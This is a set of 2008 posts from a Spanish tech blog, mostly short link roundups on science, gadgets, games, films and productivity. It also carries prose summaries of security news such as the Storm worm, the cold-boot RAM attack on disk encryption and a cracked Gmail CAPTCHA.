                http://fogonazos.blogspot.com/2008/03/ocano-de-sal.html

                Sobre un océano de sal del tamaño de la provincia de Guadalajara, tan grande que los satélites lo usan para calibrar sus instrumentos usando la luz que refleja :-O
                Os aconsejo sobre todo los dos videos que hay sobre el efecto cuando hay un poco de agua ... impresionante, os pongo uno de ellos:

                Por cierto creo que está en Bolivia ...

                Aviones robot no tripulados (de Israel) sobre Gaza

                Fuente original: http://blog.wired.com/defense/2008/03/israel-drones-j.html

                Estos aviones robot no tripulados se sabe que sobrevuelan territorio de Gaza y toda Palestina para realizar misiones de espionaje desde hace tiempo. En total hicieron el año pasado más de 10.000 horas de vuelo de vigilancia o en distintas misiones.
                Pero parece que no sólo se usan para espiar, ahora los palestinos dicen que cuando saben que hay un robot de estos en el aire, los teléfonos móviles no funcionan, la recepción de señal de TV tampoco funciona y pueden escuchar un zumbido distante. Luego se sabe lo que ocurre, una explosión (también se usan para localizar objetivos para luego bombardearlos con una gran precisión).
                Israel niega este hecho y dice que sólo los usa para vigilancia ... ¿te lo crees? pues dudo mucho que no lo hagan viendo las ventajas que les dá a la hora de bombardear, los datos proporcionados por estos aviones. Según rumores, estos mismos aviones llevan armas ...
                La tecnología de nuevo puesta al servicio de la guerra (por desgracia).
                www.cyberhades.com

                HDD Rack, quiero uno ... bueno varios

                

                Impresionante invento que a más de uno de nosotros (sobre todo a mi colega Eugene ;) ) le va a flipar.
                Los que andamos manejando discos duros todos los días, esto puede ser una solución genial para evitar estar conectándolos a todo tipo de conexiones posibles:
                http://www.geekstuff4u.com/product_info.php?manufacturers_id=&products_id=650
                Es un rack donde colocas el disco y conectándolo a un cable USB o directamente a un cable eSATA (3 Gb de transferencia) tienes acceso al mismo ...
                Tengo algo parecido pero un poco más engorroso sobre todo por los cables.
                Otra reseña en: http://www.akihabaranews.com/en/review-90-Need+a+USB+e-SATA+Rack%3F++Here+are+Four%21.html
                Esta es una buena opción.
                Visto inicialmente en:
                http://www.pixelydixel.com/2008/03/gadget-viernes-160.html
                www.cyberhades.com

                Entrevista a Vint Cerf

                

                He visto en:
                http://www.groklaw.net/article.php?story=20080303140032154
                Una interesante entrevista a Vint Cerf, proclamado el padre de Internet y actualmente fichado por Google.
                Os recomiendo leerla es muy interesante... (inglés)
                www.cyberhades.com

                Espectacular foto de una avalancha en Marte

                

                Visto en:
                http://www.elmundo.es/elmundo/2008/03/03/ciencia/1204584465.html?a=314153124fad11f06ca7de481512c6a2&t=1204612714
                http://mars.jpl.nasa.gov/mro/newsroom/pressreleases/20080303a.html

                http://mars.jpl.nasa.gov/mro/

                Espectacular avalancha de hielo y polvo.

                Y si alguien pone en duda el dinamismo meteorológico del planeta Marte, que eche un vistazo a esta página y al video:

                http://www.msss.com/msss_images/2008/02/27/

                (reporte meteorológico semanal de Marte).

                www.cyberhades.com

                Microsoft Evolution Show 2008

                

                Hace unos días se celebró el Microsoft Evolution Show:
                http://www.microsoft.com/spain/lanzamiento2008/default.mspx
                donde se presentó oficialmente el Windows Server 2008, Visual Studio 2008 y SQL Server 2008.
                Puedes ver fotos y comentarios sobre el evento en:
                http://blogs.technet.com/davidcervigon/
                Y sobre todo, lo más interesante, las presentaciones te las puedes descargar también:
                http://blogs.technet.com/davidcervigon/archive/2008/02/29/todas-la-presentaciones-del-the-evolution-show.aspx
                Gracias David por colgar las presentaciones.
                www.cyberhades.com

                Enigma en Kriptópolis

                

                Ya supongo que habéis visto en el blog nuestra gran admiración por Alan Turing y su historia, así como la máquina Enigma.
                Pues en Kriptópolis, tienen una seríe (por Román Ceano) de episodios que explican magistralmente todos los detalles de esta lucha tan poco conocida y tan importante para el desarrollo de la Segunda Guerra Mundial.
                Os recomiendo que la leáis:
                http://www.kriptopolis.org/preludio
                Aún a día de hoy se actualiza, creo que van por la entrega 56.
                www.cyberhades.com

                Compra el arma que mató a Harvey Lee Oswald

                

                Por sólo 2 o 3 millones de dólares, una Colt Cobra propiedad de Anthony Pugliese. Está dentro de una colección que incluye también el látigo y el Santo Grial de Indiana Jones y la última cruzada.
                Como recordaréis, Jack Ruby mató en 1963 a Harvey Lee Oswald "supuesto" asesino de JFK.
                http://www.boingboing.net/2008/03/03/buy-the-gun-that-kil.html
                www.cyberhades.com

                Campus Party 2008 en Valencia

                

                Ya puedes apuntarte (si eres veterano) por 73€ (sin cátering) a la nueva edición de la Campus Party en Valencia. Esta oferta para veteranos es hasta el 13 de marzo.
                http://www.campus-party.es/blogoficial/
                Parece que se repiten todas las áreas del año pasado, incluida la magistral de Google.
                Bueno, a ver si os animáis que nosotros iremos seguro.
                Si vas a ir, mándanos un correo a la dirección de email que puedes ver al final de la web y quedamos por allí para conocernos y charlar un rato.
                www.cyberhades.com

                Espectaculares esculturas de arena

                

                Digno de ver, son alucinantes:
                http://www.2spare.com/item_93710.aspx
                http://static.iftk.com.br/mt/2007/07/top_40_best_sand_sculptures_40.html
                http://www.greatervancouverparks.com/HARRISONSandCastles01.html http://www.maheshwaran.com/index.php/component/option,com_rsgallery2/Itemid,29/catid,9/

                Tengo en mi “wishlist” (lista de deseos) de Amazon este libro que lo pillaré para este veranito ;)

                http://www.amazon.co.uk/Sandcastles-Made-Simple-Step-Step/dp/1584794089/ref=wl_it_dp?ie=UTF8&coliid=IONERSS670KNF&colid=2ZNJ3JWTQN9NK

                www.cyberhades.com

                Homer y Bender

                

                www.cyberhades.com

                Museo secreto en la luna

                

                Al parecer en uno de los viajes a la luna (en contreto en el Apolo XII) se dejó en una de las patas del "Intrepid" (el módulo lunar) un panel con algunas figuras realizadas por varios artistas, entre ellos Andy Warhol:
                http://www.boingboing.net/2008/02/29/secret-museum-on-the.html
                Aunque la foto no es muy buena se pueden aún observar algunos de los dibujos, como el "ratón geométrico" en el centro realizado por Oldenburg. La contribución de Warhol no puede verse porque está justo en la zona oscurecida de la foto.
                www.cyberhades.com

                Trailer de &quot;Iron Man&quot;

                

                (visto en http://alt1040.com/2008/02/nuevo-trailer-de-ironman/)
                Peazo de trailer de la película "IronMan", pinta bien, ya veremos ...
                Si quieres saber más de IronMan:
                http://es.wikipedia.org/wiki/Iron_Man
                http://ironmanmovie.marvel.com/
                Iron Man Exclusive Trailer Añadir a mi perfil Más Videos
                www.cyberhades.com

                Inseguridad en sistemas de &quot;cifrado …

                

                Interesante artículo con no menos enlaces muy muy "prácticos" sobre la inseguridad de los sistemas de "cifrado completo" como por ejemplo, BitLocker, TrueCrypt, dm-crypt, etc ... software dedicado a encriptar toda la información cuando se almacena en el disco duro.
                http://www.areino.com/ya-ni-cifrando-el-disco-completo/
                En el siguiente video (inglés) se muestra como "congelando" una memoria RAM justo después de apagar el equipo, se puede acceder a los datos almacenados en ella durante al menos 10 minutos. Usando este método, como el tipo de software mencionado antes almacena toda la información en RAM antes de volcarla al disco duro, sería posible acceder a ella simplemente instalándola en otro ordenador y usar algún software de "dumping" de memoria ...
                En el minuto 3 aproximadamente del video se explica otro método más práctico todavía, una vez apagado el portátil, sin quitar la batería, conectamos un disco duro externo con el software para hacer el dump de memoria, arrancamos con él y ya está, volcado completo de ram donde estará prácticamente todo lo que haya realizado en anterior usuario ... ¿da miedo eh?

                http://citp.princeton.edu/memory/media/

                Más avances homebrew para la Wii

                

                Leido en:
                http://barrapunto.com/articles/08/02/26/2347208.shtml

                Os aconsejo echar un vistazo a este artículo que tiene otros links muy intersantes sobre nuevos avances en instalar linux en la Wii (según dice el artículo usando un exploit del juego Zelda) e incluso un reproductor de MP3 … y un una versión de Snes9x :)

                http://wii-news.dcemu.co.uk/how-to-get-homebrew-working-on-the-wii-tutorial-93352.html

                http://wii-news.dcemu.co.uk/wii-mode-mp3-player-93359.html

                ¡Wii power!

                www.cyberhades.com

                La web de Jazztel hackeada

                

                El lunes 25 de febrero la página principal de Jazztel fue hackeada y tardaron más de dos horas en solucionarlo:
                http://www.adslzone.net/postp920290.html
                También puedes ver algunos comentarios y capturas de la web en la excelente página de:
                http://elladodelmal.blogspot.com/2008/02/he-pensado-que-ii.html
                www.cyberhades.com

                Cthulhu presidente

                

                (visto en pjorge)

                Ahora que estamos en elecciones, yo votaría a:

                http://caosium.blogspot.com/

                Atentos a la lista de candidatos y al programa electoral, si eres muy friki como nosotros, te vas a reir mucho XD

                www.cyberhades.com

                Google Lunar X Prize

                

                Google lanzó el 13 de septiembre de 2007 un concurso bastante original, daría 30 millones de dólares, cita textual:
                “El Google Lunar X PRIZE reta a empresarios, ingenieros y visionarios de todo el mundo a idear métodos que nos permitan volver a la superficie lunar y explorar su entorno para beneficio de toda la Humanidad,”
                http://www.googlelunarxprize.org/lunar/intl/esp
                Bueno pues he leido en SondasEspaciales que ya hay 10 equipos seleccionados:
                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=10967&Itemid=42
                Los proyectos son muy originales y muy interesantes sobre todo en las ideas de usar robots de todos los tipos y modelos que se os puedan ocurrir para llevar a cabo este proyecto.
                Buena idea de Google ... como siempre ;)
                www.cyberhades.com

                Algunas piscinas increibles ...

                

                Una lista de 13 piscinas realmente increibles.

                http://www.oobject.com/category/really-cool-pools/
                www.cyberhades.com

                Captcha de Gmail crackeado

                

                Antes de nada, un captcha es:
                http://es.wikipedia.org/wiki/Captcha
                bueno pues los "spammer" ya lo han crackeado, con lo cual pueden enviar sus bots para abusar de todos los servicios que Google tiene, por ejemplo ya pueden crear automáticamente nuevas cuentas de Gmail.
                Parece que no ha sido fácil, ya que creen que se ha necesitado de dos hosts porque el primero falla en el crackeo del código la primera vez (posiblemente dando un "time out") y el segundo host analiza el trabajo realizado por el primero. Además parece que sólo funciona con uno de cada cinco CAPTCHAs, esto supone un 20% de éxito, algo bastante alto para este complejo tipo de ataques por el volumen de ataque que estos bots pueden hacer en segundos.
                Hablando de CAPTCHAs, ahora se está cambiando en típico dibujo con letras por otros con audio para hacer este tipo de ataques más difíciles.
                De todas formas el reto tiene su encanto, ya que la técnica para reconocer esto patrones es bastante compleja ...
                Aquí puedes ver el análisis de un crackeo a las cuentas de Windows Live:
                http://www.theregister.co.uk/2008/02/08/microsoft_captcha_buster/
                www.cyberhades.com

                Cuidado con el SP1 de Vista ...

                

                El SP1 de Vista ya está disponible para empresas, pero ojo con los fallos detectados.
                El autor de este post actualizará la lista, de momento puedes ver los siguientes:
                http://4sysops.com/archives/list-of-vista-sp1-problems-be-careful-with-service-pack-1/
                www.cyberhades.com

                Algo que todos los navegadores tendrían que tener

                Nuestros amigos de Alt1040 han publicado esta entrada:

                http://alt1040.com/2008/02/algo-que-todos-los-navegadores-deberian-tener/

                Y vaya si tienen razón …

                www.cyberhades.com

                Grid 16

                

                Hacía tiempo que no poníamos un juego flash en el blog.
                He visto este en el blog de cgredan :
                http://cgredan.blogspot.com/2008/02/grid16-deicisis-juegos-al-mismo-tiempo.html
                Complicado pero muy adictivo y original, son 16 juegos al mismo tiempo ...
                www.cyberhades.com

                Cyberhades

                Perdón por la regularidad de publicación, pero estamos terminando la nueva Web que esperamos esté operativa esta semana sin falta ...
                Estad atentos ... ;)
                www.cyberhades.com

                Utiliza la Wii como un Media Center sin modificar …

                

                Pues sí parece que hay una forma, y además funciona con la Wii con y sin modicar (siempre que puedas instalar la última versión de Opera).
                http://lifehacker.com/357869/use-your-wii-as-a-media-center
                Puedes ver documentos, reproducir música, video, e incluso ver la Televisón.
                NOTA: en la descarga puedes bajarlo en castellano.
                Para empezar descarga e instala Orb, en Windows.
                Luego tienes que crearte una cuenta en Orb si es la primera vez que lo has usado.
                Una vez instalado Orb, tienes que estar seguro que compartes todo lo que quieras ver desde la Wii. Botón derecho al icono de Orb en la barra de Windows y selecciona Configuración. En la pestaña "Media", tienes que añadir cada carpeta de tu equipo que tenga los datos multimedia que quieras ver en la Wii.

                Cuando lo tengas, comprueba que funciona introduciendo en el navegador:

                Guillermo del Toro prepara &quot;At the mountains …

                Imágen: recreación muy buena de las ruinas. visto en:
                http://www.splutterfish.com/images/gallery/images/300.jpg
                Gracias Guillermo por querer hacer realidad unos de nuestros grandes sueños, ver en la gran pantalla la estupenda y fantástica novela de terror de H.P. Lovecraft, no se me ocurre nadie mejor que tú para hacerlo, de nuevo gracias amigo:
                "En las montañas de la locura"
                (ojo con el link que tiene spoilers)
                "At the mountains of madness"
                http://moviesblog.mtv.com/2008/01/29/del-toro-to-incite-audiences-to-madness-with-hp-lovecraft-project/
                Esperemos que se convierta en realidad, de momento parece que el proyecto sigue para adelante.
                Si no has leido la novela, no sé a qué estas esperando, es increible. Además la puedes encontrar en casi cualquier librería en edición de bolsillo por menos de 8€.
                www.cyberhades.com

                Recortables

                ¿Quien no ha recortado y pegado alguna figurita en sus años mozos? que buenos ratos.

                Cosas del azar, en enero participe en un “amigo invisible” y me regalaron entre otras cosas, una hoja recortable, cuyo resultado podeis ver en la foto. Si quieres probarlo, echa un vistazo a algunos modelos que puedes bajarte gratuitamente de aquí.

                Creo que éste otro le gustara especialmente a gnuhal.

                El virus &quot;Storm&quot; cumple un año

                

                Visto (en el blog) y oido (en el podcast) de nuestros queridos amigos de:
                http://elgeekerrante.com/ege-podcast-ep31/
                que enlaza con:
                http://www.hispasec.com/unaaldia/3372
                Vamos a hablar del virus "Storm":
                Fuente original:
                http://www.schneier.com/blog/archives/2007/10/the_storm_worm.html
                El virus "Storm" apareció por primera vez a principios de año, oculto como datos adjuntos a los emails con la línea de asunto siguiente: "230 dead as storm batters Europe". Cuando abres el fichero adjunto te infecta, uniéndote en una siempre creciente red llamada "botnet".
                "Storm" no es sólo un worm/gusano realmente es mucho más: un gusano, un troyano y un bot que lleva todo en uno. Es el ejemplo de una nueva raza de worm/gusano que tiene mucho éxito en su supervivencia. Se ha estimado entre 1 millón y 50 millones de ordenadores infectados en el mundo.
                Los worms/gusanos clásicos como el Sasser, Slammer, Nimda fueron creados por hackers buscando fama, pero el propósito de Storm es mucho más siniestro, fines económicos, espía, ataques por encargo a sitios, etc ... Al diseñarlos (los worms clásicos) para su rápida propagación a la vez eran más fáciles de detectar, cosa que no ocurre con el Storm, que se toma su tiempo para propagarse y expandirse.
                "Storm" representa el futuro del malware, vamos a analizarlo:
                1) "Storm" es paciente. Un gusano que ataca todo el tiempo es más fácil de detectar; un gusano que ataca y entonces se oculta es mucho más difícil de detectar.
                2) "Storm" está diseñado como una hormiga de una colonia, cada una con una tarea o función específica. Sólo una pequeña fracción del equipo infectado propaga el gusano. Una fracción mucho más pequeña son C2: servidores de control-y-comando. El resto espera a recibir órdenes. Como sólo un pequeño número de los equipos infectados propagan el virus y actuan como servidores de control-y-comando, "Storm" es muy resistente contra ataques directos a su estructura. Incluso si estos equipos se apagan, la red permanece casi intacta, y los otros equipos infectados pueden hacer las otras tareas para suplir a los equipos caídos.
                3) "Storm" no causa ningúin daño, o algún efecto al rendimiento notable al equipo infectado. Como un parásito, necesita dejar al equipo anfitrión intacto, en buena salud por su propia supervivencia. Esto lo hace más difícil de detectar, porque los usuarios y los administradores de red no notifican ningún efecto anormal en su funcionamiento diario.
                4) Mejor que tener todos los equipos comunicados con un servidor central o servidores, "Storm" utiliza conexiones y una red P2P para su C2. Esto hace que la botnet de "Storm" sea mucho más difícil de deshabilitar. La forma más común de deshabilitar una botnet es apagar todo los puntos de control centralizados. "Storm" no tiene un punto de control centralizado, con lo cual no puedes apagarlo.
                5) Aparte de ser servidores C2 distribuidos, también se ocultan cambiando constantemente sus DNS con una técnica llamada "fast flux". Entonces incluso si un equipo infectado está aislado y sufriendo un "debug" (o análisis), y un C2 lo detecta, a partir de ese momento pasa a estar inactivo.
                6) El payload de "Storm" (o sea la parte del código que usa para infectar) cambia o muta cada 30 minutos más o menos, haciendo que las técnicas de detección típicas de los Antivirus no funcionen.
                7) El mecanismo de entrega o infección cambia de forma regular. Comenzó siendo un spam de PDF, entonces los programadores usaron e-cards o invitaciones de Youtube (cualquier cosa que tuviera un enlace llamativo). "Storm" también empezó a postear en Blogs como comentarios spam, intentando engañar con falsos links.
                8) El email de "Storm" también cambia todo el tiempo, usando técnicas de ingeniería social. Siempre hay líneas de "Asunto" con nuevos y excitantes textos. Los programadores de "Storm" son muy buenos conocedores de la naturaleza humana.
                9) Los últimos meses, "Storm" ha empezado a atacar sitios anti-spam y el sitio personal de Joe Stewart, el cual publicó un análisis de "Storm". Basado en una táctica básica de guerra: mantén a tu enemigo avisado o haciendole saber que no se meta contigo.
                No existe una forma concreta de luchar de forma efectiva contra "Storm". Es difícil de analizar, no puedes infectar una máquina/s y aislarlas para probarlas, tampoco puedes infectar ISPs para ver que ocurre ...
                La única forma real de parar a "Storm" es arrestar a sus programadores ... aunque suene terrible, es así ...
                Y otro temor más, nadie sabe cual será la segunda fase de "Storm" ...
                www.cyberhades.com

                El impresionante discurso de Steve Jobs (Apple)

                

                He leido en 86400 este enlace sobre un discurso que dió Steve Jobs la universad de Stanford.
                http://86400.es/2008/02/18/discurso-steve-jobs/
                No tengo palabras, es como comenta el autor, uno de los mejores discursos que he oido/leido en mi vida ...
                "Stay hungry, stay foolish"
                "Sigue hambriento. Sigue insensato"
                www.cyberhades.com

                El Cibercomando (Cyber Command) Norteamericano

                Leido en:
                http://www.wired.com/politics/security/news/2008/02/cyber_command
                Es un artículo sobre las nuevas "ciber fuerzas armadas" Norteamericanas. Millones de dólares en contratos, 15 ciudades militares desde Hampton, Virginia a California componen este nuevo Cyber Command, preparado para la ciberguerra.
                Con ancho de banda increbiles, el cibercomando está dedicado a luchar en las ciberguerras del futuro usando los ordenadores como armas militares, 24 horas al día vigilando y escaneando posibles incursiones hostiles ... de sobre todo de hackers rusos y chinos (como ocurrió esta pasada primavera cuando hackers rusos atacaron sitios web de Estonia usando DOS).

                El artículo tiene varias páginas y es muy interesante.

                Documentales gratuitos on line

                En inglés, pero hay algunos en otros idiomas entre ellos en español.

                http://best.online.docus.googlepages.com/

                Genial.

                www.cyberhades.com

                Titán supera las reservas de hidrocarburos de la …

                

                Visto en la magnífica:
                http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=10957&Itemid=42
                Os recomiendo leer todo el artículo es fantástico.
                A ver cuanto tardan en llegar las petroleras a Titán ;)
                Este satélite de Saturno cada día me alucina más.
                www.cyberhades.com

                25 trucos (hacks) para hacer las cosas mejor, más …

                

                Directo desde:
                http://www.lifehack.org/articles/productivity/50-tricks-to-get-things-done-faster-better-and-more-easily.html
                Tenemos que hacer muchas cosas al día, a la semana, etc ... y tenemos que hacerlas bien, para eso los chicos de lifehack nos dan estos 25 trucos/hacks (bueno realmente en el artículo hay 50 hacks, os pongo los primeros 25 con mi traducción libre ;) )
                1) Lo más importante, las tareas MIT (Most Important Tasks): al comienzo del día o la noche anterior, marca las tres o cuatro cosas más importantes que tengas que hacer para el día siguiente. Hazlas primero.
                2) Grandes proyectos: siempre prioridad a estos proyectos a cualquier día, hora, etc para que vayan hacia adelante.
                3) Bandeja de entrada vacía: decide que hacer con tu email cuando entre, en el momento que lo leas. Si el email te indica algo que tengas que hacer, hazla o añadela a tu lista de cosas por hacer y luego borra o archiva el email. Vacía tu bandeja de entrada todos los días.
                4) Levántate temprano: añade una hora de productividad levantándote una hora más temprano, antes que alguien empieze a molestarte.
                5) Una dentro, una fuera: evita el desorden, siempre que tengas algo que replace algo viejo, elimina lo viejo, así evitas acumular obsoleto o inservible. Ej: si compras un jersey nuevo, tira el viejo.
                6) Brainstorming: es el arte de generar muchas ideas sin corregirlas ni censurarlas. Cuando tengas varias, analízalas y verás como al final sacas muchas grandes ideas.
                7) Registra todo: lleva siempre algo donde tomar notas (papel, PDA, etc ...). Regitra todo lo que venga a tu mente, cualquier idea para un proyecto que quieras hacer, una nota, algo que necesitas tomar para luego almacenar. Luego revísalas regularmente y haz una transferencia a tu lista de cosas por hacer, almacénalas, etc ...
                8) Duerme más: dormir es esencial para la salud, aprender, etc ... Investigaciones muestran que el cuerpo hace un ciclo completo de sueño en aproximadamente 90 minutos, entonces una siesta de al menos este tiempo equivale más o menos a los efectos de un sueño normal. Duerme 8 horas de noche. Aprende a dormir como un placer, no como algo necesario o un lujo
                9) 10+2*5: trabaja 10 minutos seguidos, para 2 minutos. Usa un reloj para hacer estos 5 veces en una hora para estar atento sin perder concentración. Gasta esos 2 minutos en beber, ir al baño, etc ...
                10) Metas inteligentes: siempre piensa en metas posibles, no imposibles, que sean específicas, medibles, realistas, etc ... tu defines el término "inteligentes"
                11) Exito: hacer las ideas memorizables (sticky), estas ideas son simples, concretas, creibles, etc ...
                12) Comerse la rana: primero haz las tareas más incómodas y menos atractivas. La frase "comerse la rana" se refiere a que si te levantas por la mañana y te comes una rana, el día sólo puede traerte cosas buenas ;)
                13) Regla 80/20: basado en que muchos de nuestros resultados vienen de una pequeña porción de nuestro trabajo actual, donde gastamos la mayoría de nuestras energías en cosas que no son al final tan importantes. Focaliza tu trabajo en lo más importante siempre.
                14) ¿Qué es lo siguiente?: no planees todo lo que necesites para finalizar un proyecto, sólo céntrate en cada siguiente cosas que tengas que hacer para sacarlo adelante.
                15) El secreto: que no hay secretos.
                16) Despacio: deja tiempo para tí. Come despacio. Disfruta un día tranquilo de fin de semana. Tómate el tiempo que necesites y busca un equilibrio entre tu mundo del trabajo y tu vida.
                17) Tiempo de boxeo: asigna una cantida de tiempo por día para trabajar en una tarea o proyecto. Concéntrate todo ese tiempo en dicha tarea o proyecto. No te preocupes por acabarlo, sólo céntrate en hacer lo justo para no dejar el proyecto o tarea pero de lo que estaba.
                18) Proceso por lotes: haz todas las tareas similares a la vez. Por ejemplo, no te pelees con los emails esporádicamente durante el día, en cambio asigna una hora para atender tu bandeja de entrada y responderlos. Haz lo mismo con los mensajes de voz, llamadas, etc ...
                19) Asignar prioridades, cuandrante Covey: dos ejes, uno para la importancia, el otro para la urgencia, luego se juntan. Mejor mira este enlace:
                http://www2.gsu.edu/~wwwaow/resources/convey_quadrant_tablet.pdf
                20) Haz las cosas de una sóla vez: no dejes las cosas esperando a hacerlas más tarde. Pregúntate ¿qué necesito para hacer esto? ...
                21) No rompas la cadena: usa un calendario para marcar tus metas diarias. Cada día que hagas algo, marca una gran y roja "X". Cada día la cadena crecerá, no rompas la cadena, no dejes ningún día sin una "X" que marcar ...
                22) Revisa: mira el calendario cada semana para ver lo que has hecho y que quieres hacer la siguiente. Pregúntate si hay algún nuevo proyecto que quieras comenzar, y sobre todo mirar si estás más cerca de las metas en tu vida ...
                23) Roles: cada uno tiene diferente papeles/roles en su vida. Por ejemplo, soy un profesosr, soy un estudiante, un escritor,etc ... Comprender los diferentes papeles y aprender a distiguirlos cuando sea necesario te puede ayudar a obtener un balance entre ellos. Finaliza metas entre tus varios roles.
                24) Flujo: el flujo constante de ideas llega cuando estás cocentrado en lo que hagas y no tienes preocupación por el paso del tiempo y entonces las ideas ocurren de forma automática
                25) Hazlo ahora: adopta este lema "Hazlo ahora". Limítate 60 segundos cuando tomes una decisión, decide donde quieres ir y que quieres hacer cada vez que alguna nueva tarea llegue en tu vida.
                www.cyberhades.com

                &quot;PixelDixel&quot;, entrevista a Jon …

                Me encanta PixelDixel, esta mañana me he encontrado con esta estupenda entrevista al entrañable Jon "maddog" Hall .
                http://www.pixelydixel.com/2008/02/gadget-viernes-158-especial-john-maddog-hall.html
                www.cyberhades.com

                &quot;Spore&quot; saldrá el 7 de septiembre a la …

                

                Este juego ha levantado bastante espectación ya que supone una revolución en el concepto de videojuegos. ¿El motivo? pues la amplitud del mismo, ya que el objetivo del juego es hacer evolucionar una especie desde sus primeras formas celulares hasta conquistar el universo. Este increible argumento sumado a la posibilidad de conectarse a Internet para interactuar con otras especies que han evolucionado de diferente forma hacen que se estén contando las horas para verlo funcionar.
                http://es.wikipedia.org/wiki/Spore
                http://www.spore.com/
                Trailer oficial del juego

                &quot;Blue Ray&quot; gana la batalla a HDDVD

                

                Varios enlaces donde se analiza:
                http://alt1040.com/2008/02/el-hd-dvd-ha-muerto/
                http://www.uberbin.net/archivos/medios/se-termina-guerra-blueray-hddvd.php
                http://www.xataka.com/2005/09/25-blue-ray-y-hd-dvd-a-fondo
                http://www.abadiadigital.com/noticia2663.html
                La estocada mortal la ha dado Warner Bros al decantarse por Blue Ray, esto beneficia tremendamente a la PS3 y daña muchísimo a la XBox ... a ver que pasa.
                www.cyberhades.com

                &quot;Hackeando&quot; un osciloscopio ... …

                Esto es quizás una de las cosas más frikis que he visto en mi vida:

                y yo que pensaba que el oscilocospio sólo servía para hacer medidas …

                Visto en:

                http://www.boingboing.net/2008/02/14/recently-on-boing-bo.html

                Ahora sólo nos queda averiguar como cojo*… lo hacen porque no tengo ni idea (algo tendrán que ver los PICS seguro …)

                PD: he encontrado este enlace donde aparecen más hacks para osciloscopios flipantes: http://www.waxy.org/archive/2008/02/12/oscillos.shtml

                Vuelve nuestro Indiana Jones ...

                

                He visto en la fantástica Alt1040 esta entrada:
                http://alt1040.com/2008/02/el-regreso-de-indiana-jones/
                Sobre nuestro amado y querido Indiana.
                Este es el trailer:

                Esperemos que no metan la pata ... estreno el 22 de mayo

                Y como tenemos que ser algo frikis ... aquí va una de Indiana Jones hecho con LEGO:

                (atentos al final)

                www.cyberhades.com

                Teléfono móvil con posibilidad de trabajar con …

                

                He leido este artículo en:
                http://forevergeek.com/gadgets/philips_99j_aaa_battery_enabled_cellphone.php
                donde el autor se pregunta porqué no hay más dispositivos como este que utilizan pilas del tipo AAA clásicas que pueden ser encontradas en cualquier parte, pueden ser recargables, tienen buena duración, etc ... por ejemplo te quedas sin batería y no tienes cargador a mano, pues compras una pila AAA y solucionado.
                El móvil en concreto es el Philips Xeniun NRG, tiene su batería propia de litio pero aparte podrías usar una pila AAA también.
                Bueno, no es mala idea ...
                www.cyberhades.com

                El teclado &quot;Dvorak&quot;

                El famoso teclado “QWERTY” no es la única opción, es más, no es la mejor. Según muchos estudios y opiniones de expertos, el mejor teclado sería el DVORAK:

                

                Para más información:

                http://djelibeibi.unex.es/dvorak/

                http://es.wikipedia.org/wiki/Teclado_Dvorak

                http://www.lifehack.org/articles/technology/increase-productivity-and-relieve-pain-with-the-dvorak-simplified-keyboard.html

                Y como curiosidad, este video que he visto en YouTube sobre una comparativa de los beneficios de usar Dvorak frente a Qwerty (… madre mia como teclean …), un poco viejo eso si …

                Cosas que puedes hacer con Linux pero NO con …

                

                Uf esto es bastante criticable, pero lo voy a poner porque algo tiene de verdad. Quiero hacer un manifiesto indicando que nosotros queremos destacarnos por estar justo entre Linux y Windows, sacando partido de ambos en sus mejores facetas, no nos gusta criticar por criticar, hemos trabajado con ambas plataformas y nos gustan las dos.
                Bueno estas son:
                fuente original:
                http://matthewhelmke.net/temp.html
                COSAS QUE PUEDES HACER EN LINUX PERO NO EN MAC O WINDOWS
                NOTA: pongo un (*) donde no estoy de acuerdo o que existe alternativa Mac o Windows
                1) Actualizarte a la útlima versión sin pagar nada
                2) Obtener la última versión que funciona más rapido que la anterior con el mismo hardware
                3) Facil de instalar y ejecutar en diferentes interfaces, si usar el "default setup" (*)
                4) Instalar 20 programas con un solo comando
                5) Tener todo el sistema actualizado y mis programas automáticamente
                6) Instalar mi Linux en otros equipos sin llaves de activación ni restrición de licencia
                7) Tener varias copias de mi Linux en diferentes ordenadores sin violar ninguna ley y gratuitos
                8) Tener todo el control de mi hardware (al poder ver el código fuente) y no tener puertas traseras de empresas o gobiernos
                9) Ejecutar mi Linux sin usar antivirus, antispywares, etc ... durante meses sin tener que reiniciarlo ni una sola vez
                10) Ejecutar mi ordenador sin tener que desfragmentarlo nunca
                11) Probar un software, y decidir si lo quiero o no y eliminarlo si dejar rastros que puedan ocasionar lentitud en mi ordenador o problemas varios
                12) Si requiero una instalación todo lo recupero en una hora porque tengo mi sistema operativo en una partición y mis datos en otro (*)
                13) Arrancar en un entorno grafico tan chulo como el de Windows Vista en un equipo con tres años de antiguedad, en menos de 40 segundos incluyendo introducir los datos del logon
                14) Personalizar todos los programas, pudiendo contactar con los desarrolladores para preguntarles, enviarles sugerencias, contribuir, etc
                15) Tener MUCHOS programas en ejecución a la vez sin que el SO se ralentice
                16) Usar el comando "dpkg --get-selections > pkg.list" para obtener un listado real de todo lo que tengo instalado y con este listado saber en que ubicación estan
                17) Ejecutar multiples escritorios e incluso conectarse otro usuario a la vez al ordenador desde otro
                18) Particionar y cambiar el tamaño de una partición sin tener que borrar mi información (*)
                19) Tener Linux trabajando 5 años y no tener porqué cambiarlo, ya que funciona perfectamente para lo que necesito
                20) Navegar por Internet mientras el SO se está instalando
                21) Usar casi cualquier hardware y tener un driver incluido para él en el SO (*)
                22) Tener el código fuente de todo, incluido el SO y los programas
                www.cyberhades.com

                Creative Commons

                
                

                Esta licencia es similiar y está inspirada en la famosa GPL creada para facilitar la creación y la distribución de contenido multimedia ó digital.
                
                
                Directamente del FAQ de la página oficial:
                
                
                ¿Qué es Creative Commons?
                Creative Commons es una corporación sin ánimo de lucro basada en la idea de que algunas personas pueden no querer ejercer todos los derechos de propiedad intelectual que les permite la ley. Creemos que hay una demanda no satisfecha de un modo seguro que permita decir al mundo la frase “Algunos derechos reservados” o incluso “Sin derechos reservados”. Mucha gente se ha dado cuenta a lo largo del tiempo de que el derecho de copia absoluto no le ayuda a la hora de conseguir la exposición o distribución amplia que desea. Muchos empresarios y artistas han concluido que prefieren confiar en modelos innovadores de negocio más que en los derechos de copia con pleno derecho para asegurarse un beneficio en su inversión creativa. Para otros, es una satisfacción contribuir y participar en un proyecto intelectual común. Por la razón que sea, es obvio que muchos habitantes de Internet quieren compartir su trabajo y poder reutilizar, modificar y distribuir su trabajo con otros en términos generosos. Creative Commons trata de ayudar a la gente a expresar esta preferencia por compartir ofreciendo a todo el mundo un conjunto de licencias en la web, sin coste alguno.
                
                
                Mejor hecha un vistazo a la Wiki:
                
                
                http://es.wikipedia.org/wiki/Creative_Commons
                
                
                
